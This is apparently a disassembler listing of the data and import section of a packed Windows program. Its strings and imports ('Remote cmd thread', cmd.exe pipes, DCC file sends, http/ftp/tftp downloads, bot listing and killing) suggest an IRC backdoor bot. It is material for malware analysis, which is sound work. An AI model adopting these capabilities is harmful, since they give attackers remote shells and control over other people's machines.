dword_4120F4	dd 12C12h		; DATA XREF: sub_40720B+4r
dword_4120F8	dd 129EAh		; DATA XREF: sub_401621+A2r
dword_4120FC	dd 12CC0h		; DATA XREF: sub_4111E8+31r
dword_412100	dd 12CB0h		; DATA XREF: sub_4111E8+96r
dword_412104	dd 12CA4h		; DATA XREF: sub_4101E6:loc_410489r
					; sub_4101E6+320r ...
dword_412108	dd 12C98h		; DATA XREF: sub_4101E6+58Dr
dword_41210C	dd 12C7Eh		; DATA XREF: sub_40FDB3+96r
dword_412110	dd 12C72h		; DATA XREF: sub_409918+1E2r
					; sub_4101E6+2C2r ...
		align 8
dword_412118	dd 77C1C055h		; DATA XREF: sub_41192Ar
dword_41211C	dd 77C423F5h		; DATA XREF: sub_411930r
dword_412120	dd 77C219F5h		; DATA XREF: sub_411952r
dword_412124	dd 77C20C5Bh		; DATA XREF: sub_411958r
dword_412128	dd 77C21AD8h		; DATA XREF: .packed:loc_4117C0r
dword_41212C	dd 77C1CF9Eh		; DATA XREF: sub_4117BAr
dword_412130	dd 77C43790h		; DATA XREF: sub_4117B4r
dword_412134	dd 77C43CB2h		; DATA XREF: sub_4117AEr
dword_412138	dd 77C43DBCh		; DATA XREF: sub_4117A8r
dword_41213C	dd 77C41FA0h		; DATA XREF: sub_4114B8r
dword_412140	dd 77C43150h		; DATA XREF: sub_4117A2r
dword_412144	dd 77C33FDEh		; DATA XREF: sub_41179Cr
dword_412148	dd 77C33FC1h		; DATA XREF: sub_411796r
dword_41214C	dd 77C3CE0Ch		; DATA XREF: sub_411790r
dword_412150	dd 77C42D60h		; DATA XREF: sub_41178Ar
dword_412154	dd 77C1C6F3h		; DATA XREF: sub_411784r
dword_412158	dd 77C435C0h		; DATA XREF: sub_41177Er
dword_41215C	dd 77C3E5D9h		; DATA XREF: sub_411778r
dword_412160	dd 77C28925h		; DATA XREF: sub_411772r
dword_412164	dd 77C28933h		; DATA XREF: sub_41176Cr
dword_412168	dd 77C3CCE7h		; DATA XREF: sub_411766r
dword_41216C	dd 77C37FEDh		; DATA XREF: sub_411760r
dword_412170	dd 77C33EB0h		; DATA XREF: sub_41175Ar
dword_412174	dd 77C4B940h		; DATA XREF: sub_4116A0r
dword_412178	dd 77C4B120h		; DATA XREF: sub_411678r
dword_41217C	dd 77C37ADCh		; DATA XREF: sub_41157Cr
dword_412180	dd 77C2AC58h		; DATA XREF: sub_411576r
dword_412184	dd 77C438C0h		; DATA XREF: sub_411570r
dword_412188	dd 77C3C93Ch		; DATA XREF: sub_41152Er
dword_41218C	dd 77C43AB0h		; DATA XREF: sub_411528r
dword_412190	dd 77C3E8C0h		; DATA XREF: sub_411522r
dword_412194	dd 77C1BE00h		; DATA XREF: sub_41151Cr
dword_412198	dd 77C3E140h		; DATA XREF: sub_411516r
dword_41219C	dd 77C3DFB5h		; DATA XREF: sub_411510r
dword_4121A0	dd 77C3BF06h		; DATA XREF: sub_411506r
dword_4121A4	dd 77C3D8F6h		; DATA XREF: sub_411500r
dword_4121A8	dd 77C3E4B9h		; DATA XREF: sub_4114FAr
dword_4121AC	dd 77C3E303h		; DATA XREF: sub_4114F4r
dword_4121B0	dd 77C41FB0h		; DATA XREF: sub_4114EEr
dword_4121B4	dd 77C43490h		; DATA XREF: sub_4114E8r
dword_4121B8	dd 77C46553h		; DATA XREF: sub_4114E2r
dword_4121BC	dd 77C3C813h		; DATA XREF: sub_4114DCr
dword_4121C0	dd 77C43900h		; DATA XREF: sub_4114D6r
dword_4121C4	dd 77C42E10h		; DATA XREF: sub_4114D0r
dword_4121C8	dd 77C2AA6Bh		; DATA XREF: sub_4114CAr
dword_4121CC	dd 77C2AC46h		; DATA XREF: sub_4114C4r
dword_4121D0	dd 77C43710h		; DATA XREF: sub_4114BEr
dword_4121D4	dd 77C421A2h		; DATA XREF: sub_411924r
		dd 0
dword_4121DC	dd 800000C8h		; DATA XREF: sub_4117FE+44r
		dd 0
dword_4121E4	dd 12E28h		; DATA XREF: sub_4018D5+28r
					; sub_402230+50Dr ...
		dd 0
dword_4121EC	dd 12CDEh		; DATA XREF: sub_404FEB+9Fr
					; sub_40682C+50r ...
dword_4121F0	dd 12CEAh		; DATA XREF: sub_407A76+D6r
					; sub_410999+4Br
dword_4121F4	dd 12CFCh		; DATA XREF: sub_407A76+CFr
dword_4121F8	dd 12D12h		; DATA XREF: sub_409835+7r
dword_4121FC	dd 12D20h		; DATA XREF: sub_409843+5Ar
dword_412200	dd 12D30h		; DATA XREF: sub_4101E6+3E9r
		align 8
dword_412208	dd 71AB3E5Dh		; DATA XREF: sub_403B44+8Br
					; sub_403C04+B9r ...
dword_41220C	dd 71AB1B7Bh		; DATA XREF: sub_4117E8r
dword_412210	dd 71AB8629h		; DATA XREF: sub_403D70+6r
					; sub_40E707+110r ...
dword_412214	dd 71AB1890h		; DATA XREF: sub_403767+12Dr
					; sub_403A1B+81r ...
dword_412218	dd 71AB3F8Dh		; DATA XREF: sub_403644+B8r
					; sub_403EA9+5Dr ...
dword_41221C	dd 71AB3ECEh		; DATA XREF: sub_403644+C5r
					; sub_40DE9A+AAr ...
dword_412220	dd 71AB1AF4h		; DATA XREF: sub_403D9D+Er
					; sub_407A76+FB7r ...
dword_412224	dd 71ABF628h		; DATA XREF: sub_4034DE+1Er
					; sub_40357F+1Er
dword_412228	dd 71AB155Ah		; DATA XREF: sub_40344B+1Ar
					; sub_40346D+Fr
dword_41222C	dd 71AB3C22h		; DATA XREF: sub_403366+7r
					; sub_403644+83r ...
dword_412230	dd 71AB401Ch		; DATA XREF: sub_402C11+4Fr
					; sub_40544F+154r ...
dword_412234	dd 71ABD755h		; DATA XREF: sub_402C11+86r
					; sub_4072FC+1A4r
dword_412238	dd 71AB1740h		; DATA XREF: sub_402C11:loc_402CD9r
					; sub_403B44+96r ...
dword_41223C	dd 71AB868Dh		; DATA XREF: sub_403767+89r
					; sub_403767+1A3r
dword_412240	dd 71AB1A6Dh		; DATA XREF: sub_403D92+4r
					; sub_407A76+FBEr ...
dword_412244	dd 71AB350Dh		; DATA XREF: sub_402A12+38r
					; sub_402A12+12Er ...
dword_412248	dd 71AB1746h		; DATA XREF: sub_402A12+91r
					; sub_402A12+168r ...
dword_41224C	dd 71AB2BBFh		; DATA XREF: sub_402A12+E8r
					; sub_403EA9+B6r ...
dword_412250	dd 71AB157Eh		; DATA XREF: sub_401B81+7Dr
					; sub_40348C+1Er ...
dword_412254	dd 71AB12F8h		; DATA XREF: sub_401B81+163r
					; sub_403EA9+A1r ...
dword_412258	dd 71AB5690h		; DATA XREF: sub_401985+CFr
					; sub_403DB2+1Ar ...
dword_41225C	dd 71AB12A7h		; DATA XREF: sub_401985+FEr
					; sub_401B81+16Ar
dword_412260	dd 71AB1ED3h		; DATA XREF: sub_403EA9+59Fr
					; sub_40DE9A+121r
dword_412264	dd 71AB1836h		; DATA XREF: sub_4050D1+202r
					; sub_4052DF+DFr ...
dword_412268	dd 71AB1444h		; DATA XREF: sub_40DE9A+19Ar
dword_41226C	dd 71AB14DCh		; DATA XREF: sub_410C55+D8r
dword_412270	dd 71AB32CAh		; DATA XREF: sub_410C55+6Br
dword_412274	dd 71AB41DAh		; DATA XREF: sub_4111E8+1A6r
dword_412278	dd 71AB5DE2h		; DATA XREF: sub_403644+D3r
		align 10h
flt_412280	dd 1.0e-3		; DATA XREF: sub_401985+18Er
					; sub_401985+1B0r ...
flt_412284	dd 9.765625e-4		; DATA XREF: sub_40656A+1A6r
dword_412288	dd 0FFFFFFFFh, 406C2Dh,	406C43h, 0 ; DATA XREF:	sub_406BBC+5o
dword_412298	dd 0FFFFFFFFh, 406D26h,	406D3Eh, 0 ; DATA XREF:	sub_406CB2+5o
dword_4122A8	dd 0FFFFFFFFh, 411474h,	41148Ah, 0 ; DATA XREF:	sub_4111E8+5o
		dd offset loc_411440
		dd offset loc_411456
		dd offset dword_412300
off_4122C4	dd offset sub_4118B5	; DATA XREF: sub_411883+12o
					; .packed:004118EAo ...
		dd offset dword_412348
off_4122CC	dd offset sub_411936	; DATA XREF: .packed:off_419180o
					; .packed:off_4191A0o
off_4122D0	dd offset off_419180	; DATA XREF: .packed:004122E8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4122D0
dword_4122EC	dd 3 dup(0)		; DATA XREF: .packed:00412310o
		dd 1, 4122E8h
dword_412300	dd 3 dup(0)		; DATA XREF: .packed:004122C0o
		dd offset off_419180
		dd offset dword_4122EC+4
		align 8
off_412318	dd offset off_4191A0	; DATA XREF: .packed:00412330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_412318
		dd 0
		db    0			; DATA XREF: .packed:00412358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 412330h
dword_412348	dd 3 dup(0)		; DATA XREF: .packed:004122C8o
		dd offset off_4191A0
		dd offset unk_412338
		align 10h
dword_412360	dd 19930520h, 4, 412380h, 5 dup(0) ; DATA XREF:	.packed:loc_411980o
		dd 0FFFFFFFFh, 411960h,	0
		dd offset loc_411968
		dd 1, 411970h, 2, 411978h, 0
		dd offset off_419180
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	4118D1h, 0
dword_4123C0	dd 1, 4123A0h		; DATA XREF: .packed:004123D4o
dword_4123C8	dd 0			; DATA XREF: sub_41185F+19o
		dd offset sub_4118FE
		dd 0
		dd offset dword_4123C0
		db 90h
		db 25h,	1, 0
		dd 2 dup(0)
		dd 128C0h, 12118h, 12680h, 2 dup(0)
		dd 128D8h, 12208h, 124A8h, 2 dup(0)
		dd 12CD0h, 12030h, 12664h, 2 dup(0)
		dd 12D46h, 121ECh, 12478h, 2 dup(0)
		dd 12E1Ah, 12000h, 1265Ch, 2 dup(0)
		dd 12E38h, 121E4h, 12654h, 2 dup(0)
		dd 12E9Eh, 121DCh, 5 dup(0)
		dd 12D72h, 12D60h, 12D82h, 12D92h, 12DA6h, 12DB8h, 12DCAh
		dd 12DDAh, 12DF0h, 12E02h, 12D52h, 0
		dd 12B26h, 12B16h, 12B04h, 12AECh, 12AE0h, 12AC8h, 12ABAh
		dd 12AACh, 12A9Eh, 12A88h, 12A72h, 12A62h, 12A50h, 12A42h
		dd 12A36h, 12A26h, 12A1Ah, 12A0Ch, 129FEh, 12B3Ah, 129D8h
		dd 129C6h, 129B6h, 129A0h, 12994h, 1296Ah, 12954h, 12946h
		dd 12932h, 1292Ah, 12916h, 12908h, 128F2h, 12E92h, 128E4h
		dd 12C2Ah, 12C3Ah, 12C4Ch, 12C5Ch, 12B50h, 12B66h, 12B76h
		dd 12B86h, 12BA2h, 12BBCh, 12BCCh, 12BDEh, 12BFAh, 1297Eh
		dd 12C12h, 129EAh, 12CC0h, 12CB0h, 12CA4h, 12C98h, 12C7Eh
		dd 12C72h, 0
		dd 12E50h, 12E58h, 12E64h, 12E7Ah, 128ACh, 128A0h, 12896h
		dd 1288Ch, 12882h, 126F8h, 12878h, 12870h, 12868h, 1285Ah
		dd 12850h, 12846h, 1283Ch, 12832h, 12822h, 12812h, 12806h
		dd 127F4h, 127E0h, 127D8h, 127D0h, 127C8h, 127BEh, 127B4h
		dd 127A8h, 1279Eh, 12794h, 1278Ch, 12784h, 1277Ch, 12774h
		dd 1276Ah, 12760h, 12758h, 1274Eh, 12744h, 1273Ch, 12732h
		dd 12728h, 1271Eh, 12716h, 1270Ch, 12702h, 12E44h, 0
		dd 800000C8h, 0
		dd 12E28h, 0
		dd 12CDEh, 12CEAh, 12CFCh, 12D12h, 12D20h, 12D30h, 0
		dd 80000004h, 80000097h, 80000016h, 80000012h, 80000015h
		dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
		dd 8000000Ch, 80000033h, 8000006Fh, 80000001h, 80000003h
		dd 80000070h, 80000009h, 80000034h, 80000006h, 8000000Bh
		dd 80000010h, 80000008h, 80000014h, 80000074h, 80000011h
		dd 128CCh, 80000039h, 80000073h, 8000000Dh, 0
		db 0BAh	; º
		db 2, 73h, 74h
aRcpy		db 'rcpy',0
		align 2
		dw 2BEh
aStrlen		db 'strlen',0
		align 4
		db  91h	; ‘
		db 2, 6Dh, 61h
aLloc		db 'lloc',0
		align 2
		dw 25Eh
aFree		db 'free',0
		align 2
		dw 297h
aMemcpy		db 'memcpy',0
		align 4
		db 0C1h	; Á
		db 2, 73h, 74h
aRncpy		db 'rncpy',0
		dw 2B2h
aSprintf	db 'sprintf',0
		db  43h	; C
		db 2, 63h, 6Ch
		db  6Fh	; o
		db 63h,	6Bh, 0
		db  99h	; ™
		db 2, 6Dh, 65h
aMset		db 'mset',0
		align 2
		dw 2B6h
aStrcat		db 'strcat',0
		align 4
		db  64h	; d
		db 2, 66h, 74h
		db  65h	; e
		db 2 dup(6Ch), 0
		db  66h	; f
		db 2, 66h, 77h
aRite		db 'rite',0
		align 2
		dw 24Ch
aFclose		db 'fclose',0
		align 4
		db  57h	; W
		db 2, 66h, 6Fh
		db  70h	; p
		db 65h,	6Eh, 0
		db  5Dh	; ]
		db 2, 66h, 72h
		db  65h	; e
		db 61h,	64h, 0
		db  62h	; b
		db 2, 66h, 73h
		db  65h	; e
		db 65h,	6Bh, 0
		db  3Dh	; =
		db 2, 61h, 74h
		db  6Fh	; o
		db 69h,	2 dup(0)
		db 0B5h	; µ
		db 2, 2	dup(73h)
aCanf		db 'canf',0
		align 2
		dw 2C5h
aStrstr		db 'strstr',0
		align 4
		db 0AEh	; ®
		db 1, 5Fh, 73h
aNprintf	db 'nprintf',0
		db 0C0h	; À
		db 2, 73h, 74h
aRncmp		db 'rncmp',0
		dw 2A7h
aRealloc	db 'realloc',0
		db  49h	; I
		db 2, 65h, 78h
		db  69h	; i
		db 74h,	2 dup(0)
		db 0F1h	; ñ
		align 2
a_ftol		db '_ftol',0
		db  41h	; A
		db 2, 63h, 65h
		db  69h	; i
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------
		retf	5F00h
; ---------------------------------------------------------------------------
aExcept_handler	db 'except_handler3',0
		align 4
aJ		db '¦',0
a_beginthreadex	db '_beginthreadex',0
		align 2
		dw 2DCh
aVsprintf	db 'vsprintf',0
		align 2
		dw 10h
		db  3Fh	; ?
		db 3Fh,	33h, 40h
		db  59h	; Y
		db 41h,	58h, 50h
		db  41h	; A
		db 58h,	40h, 5Ah
		db    0
		align 2
		dw 0Fh
		db  3Fh	; ?
		db 3Fh,	32h, 40h
		db  59h	; Y
		db 41h,	50h, 41h
		db  58h	; X
		db 49h,	40h, 5Ah
		db    0
		align 2
		dw 29Eh
aPrintf		db 'printf',0
		align 4
		db 0B8h	; ¸
		db 2, 73h, 74h
aRcmp		db 'rcmp',0
		align 2
		dw 2D3h
aTolower	db 'tolower',0
		db  96h	; –
		db 2, 6Dh, 65h
aMcmp		db 'mcmp',0
		align 2
		dw 1E1h
a_vsnprintf	db '_vsnprintf',0
		align 4
		db  9Bh	; ›
		db 1, 5Fh, 72h
		db  6Fh	; o
		db 74h,	6Ch, 0
		db  9Ch	; œ
		db 1, 5Fh, 72h
		db  6Fh	; o
		db 74h,	72h, 0
		db  98h	; ˜
		db 2, 6Dh, 65h
aMmove		db 'mmove',0
		dw 2E6h
aWcslen		db 'wcslen',0
		align 4
		db 0E3h	; ã
		db 2, 77h, 63h
aScpy		db 'scpy',0
		align 2
		dw 2BFh
aStrncat	db 'strncat',0
		db  93h	; “
		db 2, 6Dh, 62h
aStowcs		db 'stowcs',0
		align 4
aI		db 'I',0
a__cxxframehand	db '__CxxFrameHandler',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 4
		db '(',0
aWsaioctl	db 'WSAIoctl',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		dw 30Eh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		dw 351h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 349h
aSleep		db 'Sleep',0
		dw 2AEh
aReadprocessmem	db 'ReadProcessMemory',0
		dw 27Ch
aOpenprocess	db 'OpenProcess',0
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 177h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 13Bh
aGetcurrentproc	db 'GetCurrentProcessId',0
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 10h
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 287h
aPeeknamedpipe	db 'PeekNamedPipe',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
aM		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
		dw 13Ah
aGetcurrentpr_0	db 'GetCurrentProcess',0
a__1		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 655302D0h, 68637261h, 68746150h, 3970041h, 74697257h
		dd 6C694665h, 1690065h,	4C746547h, 45747361h, 726F7272h
		dd 3D0000h, 79706F43h, 656C6946h, 0AF0041h, 74697845h
		dd 636F7250h, 737365h, 65470198h, 6F725074h, 64644163h
		dd 73736572h, 2480000h,	64616F4Ch, 7262694Ch, 41797261h
		dd 26B0000h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0FFh
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
		dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 14Bh
aGetdrivetypea	db 'GetDriveTypeA',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Ah
aQueryperforman	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
		dd 54657461h, 61657268h, 2190064h
aInitializecr_0	db 'InitializeCriticalSection',0
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aI_0		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0BCh	; ¼
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 177h
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		db  17h
		db 1, 47h, 65h
aTforegroundwin	db 'tForegroundWindow',0
aU_1		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
aUser32_dll	db 'USER32.dll',0
		align 2
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1E20041h
		dd 4F676552h, 4B6E6570h, 78457965h, 1D90041h, 45676552h
		dd 566D756Eh, 65756C61h, 1EC0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655201CDh,	65724367h, 4B657461h, 78457965h
		dd 1230041h, 55746547h,	4E726573h, 41656D61h, 0A00000h
aCryptreleaseco	db 'CryptReleaseContext',0
aC		db '–',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 2
aE		db '…',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db 0BDh	; ½
		db 1, 5Fh, 73h
aTrcmpi		db 'trcmpi',0
		align 10h
		db  34h	; 4
		db 1, 5Fh, 69h
		db  74h	; t
		db 6Fh,	61h, 0
		db 0C5h	; Å
		db 1, 5Fh, 73h
aTrnicmp	db 'trnicmp',0
aA_0		db 'A',0
a_cxxthrowexcep	db '_CxxThrowException',0
		align 2
		dw 0Eh
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 2
		dw 252h
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 4
		dd 55h dup(0)
off_413000	dd offset dword_413098	; DATA XREF: sub_401000+Cr
					; sub_401000+1Co
		dd offset dword_41305C
		dd offset dword_413040
		dd offset dword_413014
		dd 0
dword_413014	dd 0AFCB978Dh, 0B4E2AB90h, 0E38DB8CCh, 8DEAD4EAh, 94EABAB0h
					; DATA XREF: .packed:0041300Co
		dd 83DBB5B9h, 0E89089E5h, 8EC6D2F0h, 9AEB8282h,	2 dup(0)
dword_413040	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0B4C4BAB8h
					; DATA XREF: .packed:00413008o
		dd 0A399h, 0
dword_41305C	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0ACC4BAB8h
					; DATA XREF: .packed:00413004o
		dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h,	98D795A7h
		dd 0F3AD96D7h, 90CCF3EAh, 9EFBA7A8h, 0A6h, 0
dword_413098	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0ACC4BAB8h
					; DATA XREF: .packed:off_413000o
		dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h,	98D795A7h
		dd 0F3AD96D7h, 0EAh, 0
dword_4130CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_4011C4+2CAo
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4130F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_4011C4+2B1o
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41311C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_4011C4+215o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_413144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_4011C4+46o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_413174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4014B0+6Co
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4014B0+65o
aListing	db 'Listing',0          ; DATA XREF: sub_4014B0+5Bo
dword_4131A4	dd 303h			; DATA XREF: sub_401571+91o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401621+4Ao
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co
		align 4
asc_413214	db 0Dh,0Ah,0		; DATA XREF: sub_4018D5+84o
					; sub_402EFD+148o ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_4018D5+22o
					; sub_402230+507o ...
		align 4
dword_413234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401985+1C7o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_413280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401985+BCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4132AC	dd 6277h		; DATA XREF: sub_401985+3Co
					; sub_402018+12Do ...
dword_4132B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_401B81+2D0o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4132F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_401B81+250o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_413320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_401B81+1C7o
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_413348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_401B81+17Eo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_401B81+EBo
					; sub_404DAD+62o ...
		align 4
dword_41337C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_401EA8+E2o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4133A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_401FA3+5Do
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo
		align 4
asc_4133EC	db 0Dh,0Ah		; DATA XREF: sub_402018+92o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o
					; sub_4063E4+BAo
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
unk_413414	db  2Dh	; -		; DATA XREF: sub_402230+573o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 10h
dword_413440	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402230+549o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_413470	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402230+533o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_413498	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402230+4C9o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4134E0	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402230+476o
dword_4134EC	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co
unk_4134F8	db  2Dh	; -		; DATA XREF: sub_402230+34Do
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_413524:				; DATA XREF: sub_402230+332o
		unicode	0, </>,0
asc_413528:				; DATA XREF: sub_402230+2D0o
					; sub_4101E6+334o
		unicode	0, <:>,0
a69		db '69',0               ; DATA XREF: sub_402230+280o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402230+262o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402230+22Fo
		align 4
a21		db '21',0               ; DATA XREF: sub_402230+20Fo
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402230+1F5o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402230+1BFo
					; sub_4033F9+28o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402230+1A5o
dword_41355C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402230+10Do
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
